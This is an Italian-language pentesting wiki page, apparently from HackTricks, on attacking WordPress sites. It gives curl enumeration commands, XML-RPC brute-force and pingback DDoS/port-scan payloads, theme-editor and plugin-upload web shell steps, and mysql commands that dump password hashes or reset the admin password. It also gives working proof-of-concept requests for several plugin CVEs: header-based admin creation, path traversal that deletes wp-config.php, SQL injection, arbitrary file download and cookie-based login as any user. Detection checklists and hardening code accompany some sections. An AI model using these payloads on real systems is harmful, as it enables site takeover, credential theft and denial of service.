37 KiB
Wordpress
{{#include ../../banners/hacktricks-training.md}}
Informazioni di base
-
I file caricati vanno in:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
I file dei theme si trovano in /wp-content/themes/, quindi se modifichi qualche php del theme per ottenere RCE probabilmente userai quel percorso. Per esempio: usando theme twentytwelve puoi accedere al file 404.php in: /wp-content/themes/twentytwelve/404.php
-
Un altro URL utile potrebbe essere: /wp-content/themes/default/404.php
-
In wp-config.php puoi trovare la password root del database.
-
Percorsi di login di default da controllare: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
File principali di WordPress
index.php
license.txt
contiene informazioni utili come la versione di WordPress installata.wp-activate.php
è usato per il processo di attivazione via email durante la creazione di un nuovo sito WordPress.- Cartelle di login (possono essere rinominate per nasconderle):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
è un file che rappresenta una feature di WordPress che permette la trasmissione di dati usando HTTP come meccanismo di trasporto e XML come meccanismo di codifica. Questo tipo di comunicazione è stato sostituito dalla WordPress REST API.- La cartella
wp-content
è la directory principale dove sono memorizzati plugin e theme. wp-content/uploads/
è la directory dove sono memorizzati i file caricati sulla piattaforma.wp-includes/
è la directory dove sono conservati i file core, come certificati, font, file JavaScript e widget.wp-sitemap.xml
Nelle versioni di WordPress 5.5 e successive, WordPress genera una sitemap XML con tutti i post pubblici e i tipi di post e tassonomie pubblicamente interrogabili.
Post exploitation
- Il file
wp-config.php
contiene le informazioni necessarie a WordPress per connettersi al database, come nome del database, host del database, username e password, authentication keys and salts e il prefisso delle tabelle del database. Questo file di configurazione può anche essere utilizzato per attivare la modalità DEBUG, utile per il troubleshooting.
Permessi utenti
- Administrator
- Editor: Pubblica e gestisce i propri post e quelli degli altri
- Author: Pubblica e gestisce i propri post
- Contributor: Scrive e gestisce i propri post ma non può pubblicarli
- Subscriber: Naviga i post e modifica il proprio profilo
Passive Enumeration
Ottenere la versione di WordPress
Controlla se riesci a trovare i file /license.txt
o /readme.html
All'interno del codice sorgente della pagina (esempio da https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- file di link CSS
- file JavaScript
Ottieni plugin
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Ottenere temi
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Estrarre le versioni in generale
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Enumerazione attiva
Plugin e Theme
Probabilmente non riuscirai a trovare tutti i Plugin e Theme possibili. Per scoprirli tutti, dovrai eseguire attivamente un Brute Force su una lista di Plugin e Theme (si spera esistano strumenti automatici che contengono queste liste).
Utenti
- ID Brute: Ottieni utenti validi da un sito WordPress effettuando un Brute Force sugli ID utente:
curl -s -I -X GET http://blog.example.com/?author=1
Se le risposte sono 200 o 30X, significa che l'id è valido. Se la risposta è 400, significa che l'id è non valido.
- wp-json: Puoi anche provare a ottenere informazioni sugli utenti interrogando:
curl http://blog.example.com/wp-json/wp/v2/users
Un altro endpoint /wp-json/
che può rivelare alcune informazioni sugli utenti è:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Nota che questo endpoint espone solo gli utenti che hanno pubblicato un post. Verranno fornite solo informazioni sugli utenti che hanno questa funzionalità abilitata.
Nota anche che /wp-json/wp/v2/pages potrebbe leakare indirizzi IP.
- Login username enumeration: Quando effettui il login in
/wp-login.php
il messaggio è diverso e indica se lo username esiste o meno.
XML-RPC
Se xml-rpc.php
è attivo puoi eseguire un credentials brute-force o usarlo per lanciare attacchi DoS verso altre risorse. (Puoi automatizzare questo processo using this per esempio).
Per verificare se è attivo prova ad accedere a /xmlrpc.php e invia questa richiesta:
Verifica
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Bruteforce delle credenziali
wp.getUserBlogs
, wp.getCategories
o metaWeblog.getUsersBlogs
sono alcuni dei metodi che possono essere usati per brute-force delle credenziali. Se riesci a trovarne uno puoi inviare qualcosa del tipo:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Il messaggio "Nome utente o password non corretti" all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide.
Usando le credenziali corrette puoi caricare un file. Nella risposta apparirà il percorso (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
C'è anche un modo più veloce per eseguire brute-force delle credenziali usando system.multicall
, dato che puoi provare più credenziali nella stessa richiesta:

Bypass 2FA
Questo metodo è pensato per programmi e non per esseri umani, ed è vecchio, quindi non supporta la 2FA. Pertanto, se hai credenziali valide ma l'accesso principale è protetto da 2FA, potresti essere in grado di abusare di xmlrpc.php per effettuare il login con quelle credenziali bypassando la 2FA. Nota che non potrai eseguire tutte le azioni disponibili tramite la console, ma potresti comunque riuscire a ottenere RCE come spiega Ippsec in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS or port scanning
Se riesci a trovare il metodo pingback.ping nella lista, puoi far sì che Wordpress invii una richiesta arbitraria a qualunque host/port.
Questo può essere usato per indurre migliaia di siti Wordpress a accedere a una stessa destinazione (causando così un DDoS in quel punto) oppure puoi usarlo per far effettuare a Wordpress una scansione di una network interna (puoi indicare qualsiasi port).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Se ottieni faultCode con un valore maggiore di 0 (17), significa che la porta è aperta.
Dai un'occhiata all'uso di system.multicall
nella sezione precedente per imparare come abusare di questo metodo per causare DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Questo file di solito si trova nella root del sito Wordpress: /wp-cron.php
Quando questo file viene acceduto viene eseguita una query MySQL pesante, quindi può essere usato da attackers per causare un DoS.
Inoltre, per default, il wp-cron.php
viene chiamato ad ogni caricamento di pagina (ogni volta che un client richiede una pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS).
Si raccomanda di disabilitare Wp-Cron e creare un vero cronjob sul host che esegua le azioni necessarie a intervalli regolari (senza causare problemi).
/wp-json/oembed/1.0/proxy - SSRF
Prova ad accedere a https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net e il Worpress site potrebbe effettuare una richiesta verso di te.
This is the response when it doesn't work:
SSRF
{{#ref}} https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}}
Questo strumento verifica se esistono methodName: pingback.ping e il path /wp-json/oembed/1.0/proxy e, se presenti, tenta di sfruttarli.
Strumenti automatici
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Ottenere l'accesso sovrascrivendo un bit
Più che un attacco reale, questa è una curiosità. Nel CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man potevi invertire 1 bit di qualsiasi file di wordpress. Quindi potevi invertire il bit in posizione 5389
del file /var/www/html/wp-includes/user.php
per trasformare in NOP l'operazione NOT (!
).
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Pannello RCE
Modificare un php del tema in uso (admin credentials needed)
Aspetto → Editor del tema → Template 404 (a destra)
Modifica il contenuto con una php shell:
Cerca su internet come accedere a quella pagina aggiornata. In questo caso devi accedere qui: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Puoi usare:
use exploit/unix/webapp/wp_admin_shell_upload
per ottenere una sessione.
RCE del plugin
Plugin PHP
Potrebbe essere possibile caricare file .php come plugin.
Crea la tua backdoor php usando per esempio:
Poi aggiungi un nuovo plugin:
Carica il plugin e premi Install Now:
Clicca su Procced:
Probabilmente non sembrerà succedere nulla, ma se vai in Media vedrai la tua shell caricata:
Accedendovi vedrai l'URL per eseguire la reverse shell:
Upload e attivazione di un plugin malevolo
Questo metodo prevede l'installazione di un plugin malevolo noto per essere vulnerabile e sfruttabile per ottenere una web shell. Il processo viene eseguito tramite la dashboard di WordPress come segue:
- Acquisizione del plugin: Il plugin viene ottenuto da una fonte come Exploit DB, ad esempio here.
- Installazione del plugin:
- Vai nella dashboard di WordPress, poi in
Dashboard > Plugins > Upload Plugin
. - Carica il file zip del plugin scaricato.
- Attivazione del plugin: Una volta che il plugin è installato correttamente, deve essere attivato tramite la dashboard.
- Sfruttamento:
- Con il plugin "reflex-gallery" installato e attivato, può essere sfruttato poiché è noto per essere vulnerabile.
- Il framework Metasploit fornisce un exploit per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, è possibile stabilire una sessione meterpreter, ottenendo accesso non autorizzato al sito.
- Si noti che questo è solo uno dei molti metodi per sfruttare un sito WordPress.
Il contenuto include elementi visivi che mostrano i passaggi nella dashboard di WordPress per installare e attivare il plugin. Tuttavia, è importante sottolineare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la dovuta autorizzazione. Queste informazioni devono essere usate responsabilmente e solamente in un contesto legale, come penetration testing con esplicita autorizzazione.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike è uno script progettato per elevare una vulnerabilità di Cross-Site Scripting (XSS) a Remote Code Execution (RCE) o ad altre vulnerabilità critiche in WordPress. Per maggiori informazioni vedi this post. Fornisce supporto per Wordpress Versions 6.X.X, 5.X.X and 4.X.X. e permette di:
- Privilege Escalation: Crea un utente in WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Carica il tuo plugin personalizzato (backdoor) in WordPress.
- (RCE) Built-In Plugin Edit: Modifica Built-In Plugins in WordPress.
- (RCE) Built-In Theme Edit: Modifica Built-In Themes in WordPress.
- (Custom) Custom Exploits: Exploit personalizzati per plugin/temi di terze parti di WordPress.
Post Exploitation
Estrai nomi utente e password:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Cambia la password dell'admin:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
Superficie di attacco
Sapere come un plugin Wordpress può esporre funzionalità è fondamentale per trovare vulnerabilità. Puoi vedere come un plugin potrebbe esporre funzionalità nei seguenti punti elenco e alcuni esempi di plugin vulnerabili in this blog post.
wp_ajax
Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite AJAX handlers. Queste possono contenere bug di logica, autorizzazione o autenticazione. Inoltre è abbastanza frequente che queste funzioni basino sia l'autenticazione sia l'autorizzazione sull'esistenza di un wordpress nonce che qualsiasi utente autenticato nell'istanza Wordpress potrebbe avere (indipendentemente dal suo ruolo).
Queste sono le funzioni che possono essere usate per esporre una funzione in un plugin:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
L'uso di nopriv
rende l'endpoint accessibile da qualsiasi utente (anche non autenticati).
Caution
Inoltre, se la funzione verifica solo l'autorizzazione dell'utente con la funzione
wp_verify_nonce
, questa funzione controlla soltanto che l'utente sia autenticato, di solito non verifica il ruolo dell'utente. Quindi utenti con pochi privilegi potrebbero avere accesso ad azioni riservate ad utenti con privilegi elevati.
- REST API
È anche possibile esporre funzioni da wordpress registrando una rest AP usando la funzione register_rest_route
:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
La permission_callback
è una funzione di callback che verifica se un determinato utente è autorizzato a invocare il metodo API.
Se viene usata la funzione integrata __return_true
, verrà semplicemente saltato il controllo dei permessi utente.
- Accesso diretto al file php
Ovviamente, Wordpress utilizza PHP e i file all'interno dei plugin sono direttamente accessibili dal web. Quindi, se un plugin espone funzionalità vulnerabili che vengono attivate semplicemente accedendo al file, saranno sfruttabili da qualsiasi utente.
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Alcuni plugin implementano “trusted header” come scorciatoie per integrazioni interne o reverse proxy e poi usano quell'header per impostare il contesto utente corrente per le richieste REST. Se l'header non è vincolato criptograficamente alla richiesta da un componente upstream, un attaccante può falsificarlo e raggiungere rotte REST privilegiate come amministratore.
- Impatto: escalation di privilegi non autenticata fino ad amministratore creando un nuovo account amministratore tramite la route REST core users.
- Header di esempio:
X-Wcpay-Platform-Checkout-User: 1
(forza l'ID utente 1, tipicamente il primo account amministratore). - Route sfruttata:
POST /wp-json/wp/v2/users
con un array di ruoli elevati.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Perché funziona
- Il plugin mappa un header controllato dal client allo stato di autenticazione e salta i controlli sulle capability.
- WordPress core si aspetta la capability
create_users
per questa route; il plugin la aggira impostando direttamente il contesto dell'utente corrente a partire dall'header.
Indicatori di successo attesi
- HTTP 201 con un body JSON che descrive l'utente creato.
- Un nuovo admin visibile in
wp-admin/users.php
.
Checklist di rilevamento
- Grep per
getallheaders()
,$_SERVER['HTTP_...']
, o vendor SDK che leggono header custom per impostare il contesto utente (e.g.,wp_set_current_user()
,wp_set_auth_cookie()
). - Controlla le registrazioni REST per callback privilegiate che mancano di robusti controlli di
permission_callback
e invece si affidano agli header della request. - Cerca l'uso delle funzioni core di user-management (
wp_insert_user
,wp_create_user
) dentro gli handler REST che sono limitati solo dai valori degli header.
Mitigazioni
- Non derivare mai autenticazione o autorizzazione da header controllati dal client.
- Se un reverse proxy deve iniettare l'identità, termini la fiducia al proxy e rimuova le copie in ingresso (e.g.,
unset X-Wcpay-Platform-Checkout-User
at the edge), poi trasmetta un token firmato e verificatelo lato server. - Per le route REST che eseguono azioni privilegiate, richiedi controlli
current_user_can()
e unpermission_callback
rigoroso (NON usare__return_true
). - Preferisci auth first-party (cookies, application passwords, OAuth) rispetto all'“impersonation” via header.
Riferimenti: vedi i link alla fine di questa pagina per un caso pubblico e un'analisi più ampia.
Eliminazione arbitraria di file non autenticata via wp_ajax_nopriv (Litho Theme <= 3.0)
I temi e i plugin di WordPress espongono frequentemente handler AJAX tramite gli hook wp_ajax_
e wp_ajax_nopriv_
. Quando la variante nopriv è usata la callback diventa raggiungibile da visitatori non autenticati, quindi qualsiasi azione sensibile deve inoltre implementare:
- Un capability check (e.g.
current_user_can()
o almenois_user_logged_in()
), e - Un CSRF nonce validato con
check_ajax_referer()
/wp_verify_nonce()
, e - Sanitizzazione/validazione stretta degli input.
Il tema multipurpose Litho (< 3.1) ha dimenticato questi 3 controlli nella feature Remove Font Family e ha finito per distribuire il seguente codice (semplificato):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Problemi introdotti da questo snippet:
- Accesso non autenticato – l'hook
wp_ajax_nopriv_
è registrato. - Nessun controllo nonce / capability – qualsiasi visitatore può hit the endpoint.
- Nessuna sanificazione del percorso – la stringa controllata dall'utente
fontfamily
è concatenata a un percorso del filesystem senza filtraggio, consentendo il classico../../
traversal.
Sfruttamento
An attacker può cancellare qualsiasi file o directory sotto la directory base uploads (normalmente <wp-root>/wp-content/uploads/
) inviando una singola HTTP POST request:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Poiché wp-config.php
risiede al di fuori di uploads, quattro sequenze ../
sono sufficienti in un'installazione di default. Cancellando wp-config.php
WordPress verrà forzato nella procedura guidata di installazione alla visita successiva, consentendo la completa acquisizione del sito (l'attaccante si limita a fornire una nuova configurazione DB e a creare un utente admin).
Altri bersagli ad alto impatto includono file .php
di plugin/tema (per compromettere plugin di sicurezza) o regole .htaccess
.
Checklist di rilevamento
- Qualsiasi callback
add_action( 'wp_ajax_nopriv_...')
che chiama helper del filesystem (copy()
,unlink()
,$wp_filesystem->delete()
, ecc.). - Concatenazione di input utente non sanitizzato in percorsi (cerca
$_POST
,$_GET
,$_REQUEST
). - Assenza di
check_ajax_referer()
ecurrent_user_can()
/is_user_logged_in()
.
Rafforzamento
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
Tip
Sempre considera qualsiasi operazione di scrittura/cancellazione su disco come privilegiata e verifica due volte: • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via
realpath()
plusstr_starts_with()
).
Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Molti plugin implementano una funzionalità "view as role" o di temporaneo cambio ruolo salvando il ruolo originale (o i ruoli) nei user meta in modo che possano essere ripristinati in seguito. Se il percorso di ripristino si basa solo su parametri di richiesta (es., $_REQUEST['reset-for']
) e su una lista mantenuta dal plugin senza verificare capabilities e un nonce valido, questo diventa una vertical privilege escalation.
Un esempio reale è stato trovato nel plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Il ramo di reset ripristinava i ruoli basandosi su reset-for=<username>
se lo username appariva in un array interno $options['viewing_admin_as_role_are']
, ma non eseguiva né un controllo current_user_can()
né una verifica del nonce prima di rimuovere i ruoli correnti e ri-aggiungere i ruoli salvati nei user meta _asenha_view_admin_as_original_roles
:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Perché è sfruttabile
- Si fida di
$_REQUEST['reset-for']
e di un'opzione del plugin senza autorizzazione lato server. - Se un utente in precedenza aveva privilegi elevati salvati in
_asenha_view_admin_as_original_roles
ed è stato declassato, può ripristinarli richiamando il reset path. - In alcune distribuzioni, qualsiasi utente autenticato potrebbe innescare un reset per un altro username ancora presente in
viewing_admin_as_role_are
(autorizzazione difettosa).
Prerequisiti dell'attacco
- Versione del plugin vulnerabile con la funzionalità abilitata.
- L'account target ha un ruolo ad alta privilegio obsoleto memorizzato in user meta da un utilizzo precedente.
- Qualsiasi sessione autenticata; mancanza di nonce/capability nel flusso di reset.
Sfruttamento (esempio)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
Nelle build vulnerabili questo rimuove i ruoli correnti e riaggiunge i ruoli originali salvati (e.g., administrator
), elevando efficacemente i privilegi.
Detection checklist
- Cerca funzionalità di role-switching che persistono le “original roles” nei user meta (e.g.,
_asenha_view_admin_as_original_roles
). - Individua percorsi di reset/restore che:
- Leggono nomi utente da
$_REQUEST
/$_GET
/$_POST
. - Modificano ruoli tramite
add_role()
/remove_role()
senzacurrent_user_can()
ewp_verify_nonce()
/check_admin_referer()
. - Autorizzano basandosi su un array di opzioni del plugin (e.g.,
viewing_admin_as_role_are
) invece delle capacità dell'attore.
Rafforzamento
- Applica controlli sulle capability in ogni ramo che modifica lo stato (e.g.,
current_user_can('manage_options')
o più restrittivo). - Richiedi nonce per tutte le mutazioni di ruoli/permessi e verificane la validità:
check_admin_referer()
/wp_verify_nonce()
. - Non fidarti mai di nomi utente forniti nella request; risolvi l'utente di destinazione server-side basandoti sull'attore autenticato e su una policy esplicita.
- Invalidare lo stato delle “original roles” sugli aggiornamenti di profilo/ruolo per evitare il ripristino di privilegi elevati obsoleti:
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
- Valuta di memorizzare uno stato minimo e di usare token a tempo limitato e protetti da capability per switch di ruolo temporanei.
Escalation di privilegi non autenticata tramite cookie‑trusted user switching su init pubblico (Service Finder “sf-booking”)
Alcuni plugin collegano helper di user-switching all'hook pubblico init
e ricavano l'identità da un cookie controllato dal client. Se il codice chiama wp_set_auth_cookie()
senza verificare l'autenticazione, la capability e un nonce valido, qualsiasi visitatore non autenticato può forzare il login come un ID utente arbitrario.
Pattern vulnerabile tipico (semplificato da Service Finder Bookings ≤ 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Perché è sfruttabile
- L'hook pubblico
init
rende l'handler raggiungibile da unauthenticated users (nessun controllois_user_logged_in()
). - L'identità è derivata da un cookie modificabile dal client (
original_user_id
). - La chiamata diretta a
wp_set_auth_cookie($uid)
autentica il richiedente come quell'utente senza alcun controllo capability/nonce.
Exploitation (unauthenticated)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
Considerazioni sul WAF per WordPress/plugin CVEs
I WAF edge/server generici sono tarati per pattern ampi (SQLi, XSS, LFI). Molte vulnerabilità WordPress/plugin ad alto impatto sono bug di logica/autenticazione specifici dell'applicazione che appaiono come traffico benigno a meno che il motore non comprenda le route di WordPress e la semantica dei plugin.
Offensive notes
- Mirare agli endpoint specifici dei plugin con payload puliti:
admin-ajax.php?action=...
,wp-json/<namespace>/<route>
, custom file handlers, shortcodes. - Testare prima i percorsi non autenticati (AJAX
nopriv
, REST con permissivepermission_callback
, shortcodes pubblici). I payload di default spesso hanno successo senza offuscamento. - Casi tipici ad alto impatto: privilege escalation (broken access control), upload/download arbitrario di file, LFI, open redirect.
Defensive notes
- Non fare affidamento sulle firme generiche dei WAF per proteggere le CVE dei plugin. Implementa patch virtuali a livello applicazione specifiche per la vulnerabilità o aggiorna rapidamente.
- Preferisci controlli di tipo positive-security nel codice (capabilities, nonces, validazione rigorosa degli input) rispetto ai filtri negativi basati su regex.
Protezione WordPress
Aggiornamenti regolari
Assicurati che WordPress, plugin e temi siano aggiornati. Conferma inoltre che l'aggiornamento automatico sia abilitato in wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Inoltre, installa solo plugin e temi WordPress affidabili.
Plugin di sicurezza
Altre raccomandazioni
- Rimuovi l'utente predefinito admin
- Usa password robuste e 2FA
- Periodicamente rivedi i permessi degli utenti
- Limita i tentativi di login per prevenire attacchi Brute Force
- Rinomina il file
wp-admin.php
e consenti l'accesso solo internamente o da determinati indirizzi IP.
SQL Injection non autenticata tramite validazione insufficiente (WP Job Portal <= 2.3.2)
Il plugin di recruitment WP Job Portal esponeva un task savecategory che alla fine esegue il seguente codice vulnerabile in modules/category/model.php::validateFormData()
:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Problemi introdotti da questo snippet:
- Input utente non sanitizzato –
parentid
proviene direttamente dalla richiesta HTTP. - Concatenazione di stringhe nella clausola WHERE – nessun
is_numeric()
/esc_sql()
/ prepared statement. - Accessibilità non autenticata – anche se l'azione è eseguita tramite
admin-post.php
, l'unico controllo presente è un CSRF nonce (wp_verify_nonce()
), che qualsiasi visitatore può recuperare da una pagina pubblica che incorpora lo shortcode[wpjobportal_my_resumes]
.
Sfruttamento
- Recuperare un nonce fresco:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Iniettare SQL arbitrario abusando di
parentid
:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
La risposta rivela il risultato della query iniettata o modifica il database, dimostrando la SQLi.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Un altro task, downloadcustomfile, consentiva ai visitatori di scaricare qualsiasi file su disco tramite path traversal. Il sink vulnerabile si trova in modules/customfield/model.php::downloadCustomUploadedFile()
:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name
è controllato dall'attacker e concatenato senza sanitizzazione. Di nuovo, l'unica barriera è un CSRF nonce che può essere recuperato dalla pagina resume.
Exploitation
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Il server risponde con il contenuto di wp-config.php
, leaking DB credentials and auth keys.
Riferimenti
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
{{#include ../../banners/hacktricks-training.md}}